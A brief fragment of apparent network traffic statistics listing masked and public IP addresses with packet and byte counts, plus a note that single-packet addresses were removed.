xxx.xxx.xxx.xxx 2 7 2 1 2174 5717159 185.82.203.58 59170 xxx.xxx.xxx.xxx 2 7 2 1 47838 5847404 185.162.128.66 39141 xxx.xxx.xxx.xxx 2 7 2 1 4837 5895126All IP addresses with only 1 packet removed.